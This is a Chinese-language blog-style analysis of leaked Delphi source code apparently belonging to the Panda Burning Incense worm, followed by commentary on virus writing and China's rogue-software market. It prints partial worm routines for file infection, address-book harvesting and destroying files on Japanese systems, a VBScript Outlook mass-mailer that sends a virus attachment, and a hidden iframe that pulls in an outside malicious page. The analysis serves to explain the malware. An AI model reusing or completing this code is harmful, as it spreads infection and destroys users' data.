图1.熊猫烧香病毒感染可执行文件后的文件图标。
在短短一个月时间里,熊猫烧香作者多次发布更新版的变种病毒,每一次都针对以前设计的不完善进行修改,每次更新都几尽感染破坏之能事。他为什么要如此辛劳地研制病毒程序呢?本人十分同意一些防毒软件专家的观点‘熊猫烧香’带有强烈的商业目的,用户感染病毒后,会从后台点击国外的网站,部分变种中含有盗号木马,病毒作者可借此牟利。
最近,一份据称是熊猫烧香病毒的源代码正在互联网上散播,任何人只要利用Google或者Baidu等搜索工具都可以轻易获得(本人也是如此取得的代码)。粗略分析该代码后,我们注意到:该病毒在感染至日文操作系统时破坏性尤甚,但对其它语言Windows也造成了严重破坏。
本文中,我想对这个基于Delphi语言所编写的熊猫烧香源码作进一步分析,并阐述自己的几点看法。
二、 熊猫烧香病毒源码浅析
(一) 主程序段分析
原熊猫烧香病毒源码主程序段代码如下所示:
{==================主程序开始====================}beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件else //已寄生于宿主程序上了,开始工作beginTmpFile := ParamStr(0); //创建临时文件....Line nDelete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, '.', Si, Pi); //创建新进程运行之....Line n+7 InfectFiles; //感染和发邮件end;end.
稍加分析,我们不难绘出其相应的执行流程(如图2):
图2.主程序流程图。
对于代码:
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。
然后,上面代码在判断当前操作系统不是Win9X后,提到远程线程映射到Explorer进程一句。其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后多次更句)一书第16章闯过进程的边界中详细讨论的使用远程线程来注入一个DLL技术。如今,只要上网GOOGLE一下远程线程映射技术即出现大量实现片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在Windows系统中举足轻重Windows在启动过程中都会随同激活一个名为Explorer.exe的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。注:这并不是说Windows的运行根本离不开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象无法再使用Windows了。
另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。
因此,上面代码中从第n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪装手段之一:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个原无毒程序(实际上文件名已经改变,加了一个空格字符)。
接下来,让我们深入分析上面流程中InfectFiles(感染文件)部分的执行过程。
(二) 具体感染文件的过程
这个子过程的源码如下所示:
{遍历磁盘上所有的文件并实际感染}
procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言IsJap := True; //去死吧!DriverList := GetDrives; //得到可写的磁盘列表Len := Length(DriverList);while True do //死循环beginfor i := Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList + ':', '*.*'); //感染之 SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟病毒常用简单诈骗术之一end;end;{ === InfectFiles }
这里的核心是后面的死循环。先让我们分析较简单的发带毒邮件部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电子邮件信息。其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的。下面是从网上摘录的一段VBScript脚本:
Set objOA=Wscript.CreateObject("Outlook.Application")'创建一个OUTLOOK应用的对象Set objMapi=objOA.GetNameSpace("MAPI")'取得MAPI名字空间For i=1 to objMapi.AddressLists.Count'遍历地址簿 Set objAddList=objMapi.AddressLists(i) For j=1 To objAddList. AddressEntries.Count Set objMail=objOA.CreateItem (0) objMail.Recipients.Add (objAddList. AddressEntries (j)) '取得收件人邮件地址 objMail.Subject="你好!" '设置邮件主题 objMail.Body="这次给你的附件,是我的新文档!" '设置信件内容 objMail.Attachments.Add(c:virus.vbs") '把自己作为附件扩散出去 objMail.Send '发送邮件 NextNextSet objMapi=NothingSet objOA=Nothing
注意,这段代码是非常基本的使用VBScript脚本操作Outlook COM对象,并进而达到通过编程方式操作Outlook发送特定邮件的编程技术。其中,最关键的一句在于:
objMail.Attachments.Add(c:virus.vbs")
在此,任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身!
(三) LoopFiles子过程分析
这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程。在此列出其关键代码片断:
(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/bianchengyuyan/){ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);var//局部变量定义Msg: TMsg;// IsValidDir判断指定对象是否是目录function IsValidDir(SearchRec: TSearchRec): Integer;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑if IsValidDir(SearchRec) = 0 thenbeginFn := Path + SearchRec.Name;Ext := UpperCase(ExtractFileExt(Fn));if (Ext = '.EXE') or (Ext = '.SCR') then //Line X beginInfectOneFile(Fn); //感染可执行文件endelse if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin//感染HTML和ASP文件,将Base64编码后的病毒写入//感染浏览此网页的所有用户//哪位大兄弟愿意完成之?endelse if Ext = '.WAB' then //Outlook地址簿文件 begin//获取Outlook邮件地址endelse if Ext = '.ADC' then //Foxmail地址自动完成文件 begin//获取Foxmail邮件地址endelse if Ext = 'IND' then //Foxmail地址簿文件 begin//获取Foxmail邮件地址endelsebeginif IsJap then //是倭文操作系统beginif (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or thenSmashFile(Fn); //摧毁文件end;end;end;//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑Sleep(200);until (FindNext(SearchRec) 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then beginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add(SearchRec.Name);until (FindNext(SearchRec) 0);end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '', Mask); FreeAndNil(SubDir);end;
此子过程是典型的遍历本机中所有可用盘中的所有子目录下的所有文件并施行相应操作的编码。既如此,那么让我们从Line X开始分析。在确定当前文件为可执行文件(仅针对.EXE和.SCR文件)后,调用子过程InfectOneFile进行特定的感染。接下来,如果文件为某些网页(扩展名为.HTM、.HTML和.ASP),则继续感染这些网页文件在网页最后加入类似如下的代码段(本代码摘自某君对一种熊猫病毒变体的分析结果):
iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0" /iframe
于是,用户在启动此网页时,即可把URL导航到自己指定的网址(注:读者试验时不妨修改一下其中的URL,还有width和height等参数,效果会更明显)。接下来,程序进一步判断如果当前文件是电子邮件客户端程序相应的邮件地址数据文件,则取得这些地址信息。虽然此处没有说明如何使用它们,但根据普通蠕虫病毒特征,应该是把带有自身(病毒体)的邮件发送到这些邮件地址,进而达到利用网络传播自身的目的。奇怪的是,等程序执行(判断)到语句if IsJap then处此时已经对满足前面特征的文件执行完相应的感染或传播才判断操作系统是否为日文版本。如果是,则对另外一些常见文件类型(.DOC、.XLS、.MDB.AVI)进行彻底破坏(调用过程SmashFile彻底摧毁文件)。看起来,这位烧香仁兄也是一位爱国主义分子。只可惜,在打倒日本帝国主义之前,你的广大同胞已经被焚得焦头烂额了。
三、 熊猫烧香源码告诉我们什么?
(一)病毒的编写变得相对越来越容易
记得本人92年刚从学校毕业时,要想深入学习一点DOS内核编程技术,不得不费神远程邮寄参考书。而如今的互联网上黑客教程遍地:XX黑客教程,XX破解教程,各种流行程序漏洞扫描教程国内的,国外的,应有尽有。另一方面,微机早已进入普通家庭,这对各种计算机技术的普及也起到巨大的推动作用。所有这些极大地推动了病毒编写技术的传播,乃至于几乎人人都能写点病毒,但由于软件编码特有的细活之特性,使得不少学习粗心者无意插柳柳成荫。
(二)病毒的传播越来越容易
(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/bianchengyuyan/)在上面的代码中,我们注意到如下几点:第一,程序遍历磁盘上邮件地址库把自己作为电子邮件附件发送出去;第二,病毒感染网页文件(简单地在网页最后加入一小段代码),致使当前打开此网页时即激活病毒体。这些作战手段借助于广泛普及的因特网几乎是一蹴而就的事情。因而,从这种角度讲,病毒的传播已变得越来越容易。
(三)病毒代码传播的两面性
如今回趟沂蒙老家,在普通农庄以ADSL上网已成趋势,而且这种趋势可能较之于有线电视传播更为迅速。似本文熊猫烧香病毒源代码,其效能如同前面所提之各大教程;从其正面看,将极大地推动软件技术的发展和广大软件爱好者的研制技术;但从其消极面看,对于想制造病毒的人来说,也有相当的技术参考价值。只要稍试修改,很多好事者都可以藉此制造出病毒变种,说不定哪天又来个鼠年喊打鼠,牛年喊杀牛。
总之,网络是把双刃,或者说技术是把双刃剑,这在计算机软件业已得到最充分的认证!于此,作者也不由得灵光一现:如果说护花使者类软件在国内外极受广大家长用户的欢迎,那么,研究一款辅助警方缉拿这等网络犯罪的共享软件,也必定受宠(提及此,我们不由得再发感叹:也许还是国人软件法不健全,抑或是另有苦衷?网络犯罪岂是来无影去无踪般神话?)。各位仁君不妨一试。
(四)流氓软件 离病毒仅一步之遥
且看中国互联网协会公布的流氓软件官方定义:
恶意软件定义:是指在未明确提示用户或未经用户许可的情况下,在用户计算机或其他终端上安装运行,侵犯用户合法权益的软件,但已被我国现有法律法规规定的计算机病毒除外。其具体特征包括:强制安装、难以卸载、浏览器劫持、广告弹出、恶意收集用户信息、恶意卸载、恶意捆绑以及其他侵犯用户知情权、选择权的恶意行为。
本人从网上也看到此熊猫烧香病毒作者留言的病毒制作动机,但从该病毒其它版本频繁从后台启动国外指定网页的行为来看,确有其明确的商业动机。中国软件市场之混乱,犹如计算机病毒之毒瘤,改革开放之腐败毒瘤,不治将恐甚。因此,从最近熊猫烧香新版的金猪闹春发展势头来看,纵使该作者在论坛上透露将终止继续研发新版本,但国软市场之混乱加上有其巨大的商业利益驱动,他岂能就此罢手?
如今,网上大批特批流氓软件,灰色软件。请问:这样的日子何时是个尽头?恕在下直言,如果不从根本上整顿国软市场之混乱局面,类似这种在网上疯传的熊猫烧香之源码必使灰色软件愈灰,流氓软件之愈流氓!
四、 小结
如今网上流传的熊猫烧香源码,不由得不引发人们无尽的思考。我想,联系中国特色的软件市场来认识这样的问题似乎更为合适。熊猫、烧香本来各自是美好事物和良好祝福的象征,现在却不由得不令人心焦。权当本文系在下之胡言乱语。最后,谨祝各位:金猪之年财运望,发良财,发洋财,而不是发横财!